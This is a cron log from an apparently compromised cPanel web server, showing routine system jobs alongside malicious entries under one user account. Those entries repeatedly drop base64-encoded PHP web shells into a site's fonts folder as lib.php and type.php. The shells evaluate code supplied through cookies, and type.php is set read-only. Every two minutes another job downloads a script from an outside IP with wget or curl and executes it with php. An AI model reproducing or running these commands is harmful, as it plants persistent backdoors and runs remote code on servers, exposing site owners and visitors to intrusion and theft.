Sep  1 17:52:01 ip-184-168-122-23 CROND[32547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:53:01 ip-184-168-122-23 CROND[32664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:53:01 ip-184-168-122-23 CROND[32666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:53:01 ip-184-168-122-23 CROND[32668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:53:01 ip-184-168-122-23 CROND[32667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:54:02 ip-184-168-122-23 CROND[32751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:54:02 ip-184-168-122-23 CROND[32754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:54:02 ip-184-168-122-23 CROND[32755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:54:02 ip-184-168-122-23 CROND[32753]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:54:02 ip-184-168-122-23 CROND[32752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:55:01 ip-184-168-122-23 CROND[475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:55:01 ip-184-168-122-23 CROND[477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:55:01 ip-184-168-122-23 CROND[479]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:55:01 ip-184-168-122-23 CROND[483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:55:01 ip-184-168-122-23 CROND[484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:55:01 ip-184-168-122-23 CROND[486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:56:01 ip-184-168-122-23 CROND[767]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:56:01 ip-184-168-122-23 CROND[769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:56:01 ip-184-168-122-23 CROND[771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:56:01 ip-184-168-122-23 CROND[774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:56:01 ip-184-168-122-23 CROND[772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:57:01 ip-184-168-122-23 CROND[914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:57:01 ip-184-168-122-23 CROND[916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:57:01 ip-184-168-122-23 CROND[915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:57:01 ip-184-168-122-23 CROND[917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:58:01 ip-184-168-122-23 CROND[1002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:58:01 ip-184-168-122-23 CROND[1003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:58:01 ip-184-168-122-23 CROND[1006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:58:01 ip-184-168-122-23 CROND[1004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:58:01 ip-184-168-122-23 CROND[1005]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:59:01 ip-184-168-122-23 CROND[1089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:59:01 ip-184-168-122-23 CROND[1091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:59:01 ip-184-168-122-23 CROND[1094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:59:01 ip-184-168-122-23 CROND[1092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:00:01 ip-184-168-122-23 CROND[1247]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:00:01 ip-184-168-122-23 CROND[1249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:00:01 ip-184-168-122-23 CROND[1250]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:00:01 ip-184-168-122-23 CROND[1251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:00:01 ip-184-168-122-23 CROND[1252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:00:01 ip-184-168-122-23 CROND[1253]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 18:00:01 ip-184-168-122-23 CROND[1258]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 18:00:01 ip-184-168-122-23 CROND[1256]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:00:01 ip-184-168-122-23 CROND[1260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:01:01 ip-184-168-122-23 CROND[1463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:01:01 ip-184-168-122-23 CROND[1466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:01:01 ip-184-168-122-23 CROND[1465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:01:01 ip-184-168-122-23 CROND[1467]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 18:01:01 ip-184-168-122-23 CROND[1469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:01:01 ip-184-168-122-23 CROND[1470]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1467]: starting 0anacron
Sep  1 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1484]: finished 0anacron
Sep  1 18:02:01 ip-184-168-122-23 CROND[1594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:02:01 ip-184-168-122-23 CROND[1595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:02:01 ip-184-168-122-23 CROND[1597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:02:01 ip-184-168-122-23 CROND[1600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:02:01 ip-184-168-122-23 CROND[1598]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:03:01 ip-184-168-122-23 CROND[1678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:03:01 ip-184-168-122-23 CROND[1680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:03:01 ip-184-168-122-23 CROND[1682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:03:01 ip-184-168-122-23 CROND[1684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:04:01 ip-184-168-122-23 CROND[1778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:04:01 ip-184-168-122-23 CROND[1779]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:04:01 ip-184-168-122-23 CROND[1781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:04:01 ip-184-168-122-23 CROND[1782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
